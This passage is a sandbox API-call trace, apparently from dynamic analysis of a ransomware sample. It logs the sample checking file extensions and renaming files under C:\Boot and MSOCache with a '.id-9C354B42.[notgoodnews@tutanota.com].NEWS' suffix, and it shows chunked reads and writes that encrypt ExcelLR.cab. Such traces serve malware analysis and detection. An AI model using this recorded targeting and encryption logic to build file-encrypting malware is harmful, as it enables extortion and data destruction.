lpString2="mui") returned -1 [0044.704] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0044.704] lstrlenW (lpString=".dbf") returned 4 [0044.704] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0044.704] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0044.704] lstrlenW (lpString=".1cd") returned 4 [0044.704] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0044.704] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0044.704] lstrlenW (lpString=".jpg") returned 4 [0044.704] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0044.704] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0044.704] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0044.704] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.705] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=94800) returned 1 [0044.705] CloseHandle (hObject=0x174) returned 1 [0044.705] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0044.705] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0044.705] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.705] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0044.705] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0044.705] lstrlenW (lpString=".doc") returned 4 [0044.705] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0044.705] lstrlenW (lpString=".docx") returned 5 [0044.706] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0044.706] lstrlenW (lpString=".pdf") returned 4 [0044.706] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0044.706] lstrlenW (lpString=".xls") returned 4 [0044.706] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0044.706] lstrlenW (lpString=".xlsx") returned 5 [0044.706] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0044.706] lstrlenW (lpString=".ppt") returned 4 [0044.706] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0044.706] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0044.706] lstrlenW (lpString=".zip") returned 4 [0044.706] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0044.706] lstrlenW (lpString=".rar") returned 4 [0044.706] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0044.706] lstrlenW (lpString=".bz2") returned 4 [0044.706] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0044.706] lstrlenW (lpString=".7z") returned 3 [0044.706] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0044.706] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0044.707] lstrlenW (lpString=".dbf") returned 4 [0044.707] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0044.707] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0044.707] lstrlenW (lpString=".1cd") returned 4 [0044.707] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0044.707] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0044.707] lstrlenW (lpString=".jpg") returned 4 [0044.707] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0044.707] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0044.707] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0044.707] lstrlenW (lpString=".doc") returned 4 [0044.707] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0044.707] lstrlenW (lpString=".docx") returned 5 [0044.707] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0044.707] lstrlenW (lpString=".pdf") returned 4 [0044.707] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0044.707] lstrlenW (lpString=".xls") returned 4 [0044.707] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0044.707] lstrlenW (lpString=".xlsx") returned 5 [0044.708] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0044.708] lstrlenW (lpString=".ppt") returned 4 [0044.708] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0044.708] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0044.708] lstrlenW (lpString=".zip") returned 4 [0044.708] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0044.708] lstrlenW (lpString=".rar") returned 4 [0044.708] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0044.708] lstrlenW (lpString=".bz2") returned 4 [0044.708] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0044.709] lstrlenW (lpString=".7z") returned 3 [0044.709] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0044.709] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0044.709] lstrlenW (lpString=".dbf") returned 4 [0044.709] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0044.709] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0044.709] lstrlenW (lpString=".1cd") returned 4 [0044.709] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0044.709] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0044.709] lstrlenW (lpString=".jpg") returned 4 [0044.710] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0044.710] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0044.710] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0044.710] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.710] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=85056) returned 1 [0044.710] CloseHandle (hObject=0x174) returned 1 [0044.710] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0044.711] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0044.711] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.711] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0044.711] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0044.711] lstrlenW (lpString=".doc") returned 4 [0044.711] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0044.711] lstrlenW (lpString=".docx") returned 5 [0044.711] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0044.711] lstrlenW (lpString=".pdf") returned 4 [0044.711] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0044.711] lstrlenW (lpString=".xls") returned 4 [0044.711] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0044.711] lstrlenW (lpString=".xlsx") returned 5 [0044.711] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0044.711] lstrlenW (lpString=".ppt") returned 4 [0044.712] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0044.712] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0044.712] lstrlenW (lpString=".zip") returned 4 [0044.712] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0044.712] lstrlenW (lpString=".rar") returned 4 [0044.712] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0044.712] lstrlenW (lpString=".bz2") returned 4 [0044.712] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0044.712] lstrlenW (lpString=".7z") returned 3 [0044.712] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0044.712] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0044.712] lstrlenW (lpString=".dbf") returned 4 [0044.712] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0044.712] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0044.712] lstrlenW (lpString=".1cd") returned 4 [0044.712] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0044.712] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0044.712] lstrlenW (lpString=".jpg") returned 4 [0044.712] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0044.713] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0044.713] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0044.713] lstrlenW (lpString=".doc") returned 4 [0044.713] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0044.713] lstrlenW (lpString=".docx") returned 5 [0044.713] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0044.713] lstrlenW (lpString=".pdf") returned 4 [0044.713] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0044.713] lstrlenW (lpString=".xls") returned 4 [0044.713] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0044.713] lstrlenW (lpString=".xlsx") returned 5 [0044.713] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0044.713] lstrlenW (lpString=".ppt") returned 4 [0044.713] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0044.713] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0044.713] lstrlenW (lpString=".zip") returned 4 [0044.713] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0044.713] lstrlenW (lpString=".rar") returned 4 [0044.713] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0044.714] lstrlenW (lpString=".bz2") returned 4 [0044.714] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0044.714] lstrlenW (lpString=".7z") returned 3 [0044.714] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0044.714] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0044.714] lstrlenW (lpString=".dbf") returned 4 [0044.714] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0044.714] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0044.714] lstrlenW (lpString=".1cd") returned 4 [0044.714] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0044.714] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0044.714] lstrlenW (lpString=".jpg") returned 4 [0044.714] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0044.714] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0044.715] lstrlenW (lpString="memtest.exe.mui") returned 15 [0044.715] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.715] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=43600) returned 1 [0044.715] CloseHandle (hObject=0x174) returned 1 [0044.715] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0044.715] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0044.715] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.715] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0044.715] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0044.715] lstrlenW (lpString=".doc") returned 4 [0044.716] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0044.716] lstrlenW (lpString=".docx") returned 5 [0044.716] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0044.716] lstrlenW (lpString=".pdf") returned 4 [0044.716] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0044.716] lstrlenW (lpString=".xls") returned 4 [0044.716] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0044.716] lstrlenW (lpString=".xlsx") returned 5 [0044.716] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0044.716] lstrlenW (lpString=".ppt") returned 4 [0044.716] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0044.716] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0044.716] lstrlenW (lpString=".zip") returned 4 [0044.716] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0044.716] lstrlenW (lpString=".rar") returned 4 [0044.716] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0044.716] lstrlenW (lpString=".bz2") returned 4 [0044.716] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0044.716] lstrlenW (lpString=".7z") returned 3 [0044.716] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0044.718] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=90192) returned 1 [0044.719] CloseHandle (hObject=0x174) returned 1 [0044.719] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0044.719] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0044.719] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.719] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=89152) returned 1 [0044.719] CloseHandle (hObject=0x174) returned 1 [0044.720] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0044.720] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0044.720] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.720] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=3694080) returned 1 [0044.720] CloseHandle (hObject=0x174) returned 1 [0044.720] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0044.721] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0044.721] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0045.054] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0045.161] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0045.162] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0045.162] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.162] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.162] ReadFile (in: hFile=0x194, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.174] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.174] ReadFile (in: hFile=0x194, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.189] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.189] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.189] ReadFile (in: hFile=0x194, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.553] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.554] WriteFile (in: hFile=0x194, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x337fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x337fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0045.977] SetEndOfFile (hFile=0x194) returned 1 [0045.977] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ef5868 [0046.002] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.002] WriteFile (in: hFile=0x194, lpBuffer=0x3ef5868*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef5868*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.534] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.534] WriteFile (in: hFile=0x194, lpBuffer=0x3ef5868*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef5868*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.535] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.535] WriteFile (in: hFile=0x194, lpBuffer=0x3ef5868*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef5868*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ef5868 | out: hHeap=0x5c0000) returned 1 [0046.538] CloseHandle (hObject=0x194) returned 1 [0051.777] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0051.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0051.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0051.778] lstrlenW (lpString=".doc") returned 4 [0051.778] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0051.778] lstrlenW (lpString=".docx") returned 5 [0051.778] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0051.778] lstrlenW (lpString=".pdf") returned 4 [0051.778] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0051.778] lstrlenW (lpString=".xls") returned 4 [0051.778] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0051.779] lstrlenW (lpString=".xlsx") returned 5 [0051.779] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0051.779] lstrlenW (lpString=".ppt") returned 4 [0051.779] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0051.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0051.779] lstrlenW (lpString=".zip") returned 4 [0051.779] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0051.779] lstrlenW (lpString=".rar") returned 4 [0051.779] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0051.779] lstrlenW (lpString=".bz2") returned 4 [0051.779] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0051.779] lstrlenW (lpString=".7z") returned 3 [0051.779] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0051.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0051.779] lstrlenW (lpString=".dbf") returned 4 [0051.779] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0051.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0051.779] lstrlenW (lpString=".1cd") returned 4 [0051.779] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0051.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0051.779] lstrlenW (lpString=".jpg") returned 4 [0051.780] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0051.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0051.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0051.780] lstrlenW (lpString=".doc") returned 4 [0051.780] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0051.780] lstrlenW (lpString=".docx") returned 5 [0051.780] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0051.780] lstrlenW (lpString=".pdf") returned 4 [0051.780] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0051.780] lstrlenW (lpString=".xls") returned 4 [0051.780] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0051.780] lstrlenW (lpString=".xlsx") returned 5 [0051.780] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0051.780] lstrlenW (lpString=".ppt") returned 4 [0051.780] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0051.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0051.781] lstrlenW (lpString=".zip") returned 4 [0051.781] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0051.781] lstrlenW (lpString=".rar") returned 4 [0051.781] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0051.781] lstrlenW (lpString=".bz2") returned 4 [0051.781] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0051.781] lstrlenW (lpString=".7z") returned 3 [0051.781] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0051.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0051.781] lstrlenW (lpString=".dbf") returned 4 [0051.781] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0051.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0051.781] lstrlenW (lpString=".1cd") returned 4 [0051.781] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0051.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0051.781] lstrlenW (lpString=".jpg") returned 4 [0051.781] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 